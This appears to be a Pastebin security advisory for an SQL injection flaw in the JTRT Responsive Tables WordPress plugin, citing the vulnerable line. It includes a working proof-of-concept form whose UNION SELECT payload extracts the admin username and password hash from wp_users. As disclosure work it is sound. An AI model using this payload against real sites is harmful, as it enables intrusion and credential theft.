Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Description:
- Type user acces: single user.
- $_POST[‘tableId’] is not escaped.
- http://lenonleite.com.br/en/blog/2017/09/11/jtrt-responsive-tables-wordpress-plugin-sql-injection/
- File / Code:
- Path: /wp-content/plugins/jtrt-responsive-tables/admin/class-jtrt-responsive-tables-admin.php
- Line : 183
- $getTableId = $_POST['tableId'];
- ...
- $retrieve_data = $wpdb->get_results( "SELECT * FROM $jtrt_tables_name WHERE jttable_IDD = " . $getTableId );
- Proof of Concept:
- 1 – Log in with single user.
- 2 – Using form, sqli by post:
- <form method="post" action="http://target.dev/wp-admin/admin-ajax.php?action=get_old_table">
- <input type="text" name="tableId" value="1 UNION SELECT 1,2,CONCAT(user_login,char(58),user_pass),4,5 FROM wp_users WHERE ID=1">
- <input type="submit" name="">
- </form>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement